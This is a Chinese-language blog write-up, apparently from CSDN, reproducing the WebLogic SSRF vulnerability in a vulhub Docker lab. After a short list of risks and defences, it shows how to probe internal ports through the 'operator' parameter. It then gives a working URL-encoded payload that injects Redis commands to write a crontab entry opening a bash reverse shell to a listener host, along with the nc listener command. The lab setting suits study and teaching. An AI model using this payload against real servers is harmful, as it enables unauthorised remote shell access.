【vulhub】weblogic ssrf漏洞复现

漏洞描述

Weblogic中存在⼀个SSRF漏洞,利⽤该漏洞可以发送任意HTTP请求,进⽽攻击内⽹中redis、fastcgi等脆弱组件。

漏洞危害

1. 内外⽹的端⼝和服务扫描

2. 攻击运⾏在内⽹或本地的应⽤程序

3. 对内⽹web应⽤进⾏指纹识别,识别企业内部的资产信息

4. 攻击内⽹的web应⽤,主要是使⽤GET参数就可以实现的攻击(⽐如Struts2漏洞利⽤,SQL注⼊等)

5. 利⽤file协议读取本地敏感数据⽂件等

6. 请求⼤⽂件,始终保持连接Keep-Alive Always,造成拒绝服务

防御措施

1.正则匹配法(⽤@, ⽤dnslog, ⽤xip.io绕过)

2. 统⼀错误信息,避免⽤户可以根据错误信息来判断远程服务器的端⼝状态。

3. 限制请求的端⼝,⽐如80,443,8080,8090。

4. 过滤返回的信息,如果web应⽤是去获取某⼀种类型的⽂件。那么在把返回结果展⽰给⽤户之前先验证返回的信息是否符合标准。

5. ⿊名单内⽹ip

6. 禁⽤其他协议,允许http,https。可以防⽌类似于file:// , gopher:// , ftp://等引起的问题

 

环境搭建

启动环境

切换到/weblogic/ssrf/目录下


docker-compose up -d
033e841c5e31c670e6260e6287bfbcc5.png

这里我ubuntu的ip地址为192.168.8.208

172.23.0.2:6379是redis 服务的容器IP地址和默认端口

访问

http://IP:7001/console/login/LoginForm.jsp

出现此界面,环境搭建成功

3f5010603ba776df0b905de46376337d.png

 

现在准备工作已完成,接下来开始漏洞复现

 

漏洞复现

SSRF漏洞位于http://IP:7001/uddiexplorer/SearchPublicRegistries.jsp

点击search,用bp抓包

b280176a262a666386362f520961e788.png

"operator"参数后面是URL,可以探测内网信息。

53cab588a97d1eda55d7ab0fe03de2ad.png

修改URL,探测7001端口,返回404提示,证明内网开放7001端口。

http://IP:7001

f7dc04db931817460713dba3e52de217.png

如何探测到不存在的端口,返回“but could not connect over”无法连接

4759558cebe1a366962f047d3bf43751.png

因为该容器运行着 redis 服务,我们可以通过docker 命令查看并确认 redis 服务的容器IP地址:

9c6f5893a0bc959036767d90bd837179.png

docker exec -it 1c718b983d93  /bin/bash
c04d469e0c008fdd1ea8a9b639f95ff3.png

查看redis服务

"Received a response"表示存在redis服务

http://172.23.0.2:6379

31a9c1fb7c4906cb0f48fb7d37eecb73.png

接下来利用Redis反弹shell

发送三条redis命令,将反弹shell脚本写入/etc/


test

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.8.208/2023 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

aaa

上面的脚本ip写自己虚拟机的ip

将上面脚本进行url编码

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.8.208%2F2023%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

 

 

接下来在虚拟机端开启监听

输入


nc -l -p 2023

将最终的命令插入到operator字段的端口后边,再把编码后的url通过bp发送给服务器,

 

operator=http://172.23.0.2:6379/test%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn%2A%20%2A%20%2A%20%2A%20%2A%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.8.208%2F2023%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0Aconfig%20set%20dir%20%2Fetc%2F%0Aconfig%20set%20dbfilename%20crontab%0Asave%0Aqwezxc&rdoSearch=name&txtSearchname=444&txtSearchkey=555&txtSearchfor=666&selfor=Business+location&btnSubmit=Search

a667b5910b05ec6027a377aa6e8f433f.png

成功写入

此时就可以看到反弹的shell啦~

73ce9eca89721133b96cb55e609535fd.png
9d4e395a9f13022d85ec5e6217162474.png

 

 

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值